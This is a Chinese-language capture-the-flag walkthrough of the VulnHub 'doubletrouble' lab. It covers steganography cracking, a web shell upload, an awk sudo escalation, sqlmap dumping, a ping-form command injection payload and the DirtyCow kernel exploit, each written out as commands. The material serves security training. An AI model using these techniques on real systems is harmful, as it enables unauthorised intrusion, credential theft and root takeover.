vulnhub靶场doubletrouble

首先是下载镜像,然后用vmware打开,记得关闭usb,然后网络配置建议设置成桥接模式,然后需要指定桥接的网卡。需要用同样的方法,修改网卡信息,这样才能分配到ip

使用nmap进行扫描

sudo nmap -sP 192.168.[num1].1/24  

/24表示那个网段1-254都扫描

然后对靶机的ip进行端口扫描

sudo nmap -P 192.168.[num1].[num2]

-sC 表示使用nmap脚本探测 -sV探测服务信息

-p-表示扫描全端口

扫出来开放了22和80端口

访问80端口可以看到一个网页

简单试一下admin这样的密码

找一下网上看看有没有默认密码

然后sqlmap试一下有没有注入

发现没啥用

然后

dirsearch -u http://192.168.2.9/

跑一下目录

其实用gobuster也行,但是自己得有好字典,不然还不如dirsearch

然后发现有若干cms常规路径

比较令人好奇的是secret目录

访问发现一张图

用steghide检测一下有没有隐写

steghide --info doubletrouble.jpg

发现有隐写后,用stegseek加上字典跑一下

mac上编译stegseek有点问题,我这用kali演示一下

gzip -d /usr/share/wordlists/rockyou.txt.gz
stegseek dooubletrouble.jpg rockyou.txt 

发现账号和密码

otisrush@localhost.com
otis666

于是登陆看看

发现个人资料的位置有一个上传文件的地方

传一个冰蝎的shell看一下

找到我们刚才跑目录跑出来的uploads路径,看一下有没有新文件

发现我们上传的文件被重命名了

用冰蝎连接一下

可以看看基本的文件路径

然后虚拟终端连接一下,看一看文件

执行 sudo -l看一下权限信息

发现有个awk不用输密码

然后找了下awk的用法

sudo awk 'BEGIN {system("/bin/sh")}'

执行这个就能获得root权限

然后进/root目录发现有一个系统镜像

然后也没有别的线索了,就只能下载下来,在运行这个镜像

刚好符合题目doubletrouble

python3 -m http.server 1234

然后同样的方法发现第二台靶机的ip和端口

发现开放了22端口和80端口

访问网页看看

发现是一个表单

打算试试sqlmap

sqlmap -u "http://192.168.2.20/"

sqlmap -u "http://192.168.2.20/" -forms

sqlmap -u "http://192.168.2.20/" -forms -dbs

sqlmap -u "http://192.168.2.20/" -forms -D doubletrouble --tables

sqlmap -u "http://192.168.2.20/" -forms -D doubletrouble -T users --dump

之后得到两个用户名和密码

进行ssh尝试登录

登录进去后,我们首先看到了user.txt

然后我们简单看一下权限sudo -l

发现没有sudo

然后我们看一下网站的路径

会发现有两个页面

第二个页面pingit.php其实有命令执行漏洞,这个文件名可以从大字典跑出来,确定是有的。但是呢,他需要POST传两个参数。ip和submit

<?php

print $_POST['ip'];
if (isset($_POST['submit'])){
        $target = $_REQUEST[ 'ip' ];
        echo '<pre>';
        echo shell_exec( 'ping -c 3 ' . $target );
        echo '</pre>';
    }
?>

那么为了利用其中的shell_exec函数,需要首先if判断为真,得随便给submit传一个值。但是用hackbar传submit参数有问题,如果直接submit=1是会报错的,那如果写成Submit=1网上有人说可以,但是在这里,大小写不一样,参数就变了。所以我选择用postman。ip=;ls&submit=1即可。既然这个也能用,甚至不需要密码就可以反弹shell了。值得一提的是,www文件夹没有写权限

那么现在按照正常思路,需要提权

看一下

uname -a

然后searchsploit linux 3.2

发现可以用脏牛

很多个提示能用的,然后我这边直接说其中一个能用的

可以访问https://github.com/firefart/dirtycow/blob/master/dirty.c进行复制粘贴

然后靶机没有git,也不支持wget下载刚才说的这个链接。当然可以用别的方法,比如本地开http服务,或者用端口传文件。最简单的就是用vi编辑器或者nano编辑器,这里vim没装

然后按照注释

gcc -pthread dirty.c -o dirty -lcrypt

给生成的文件加一个执行权限

chmod +x dirty

然后执行他

./dirty

输入你设置的密码。等一会儿,然后切换用户

su firefart
cat /root/root.txt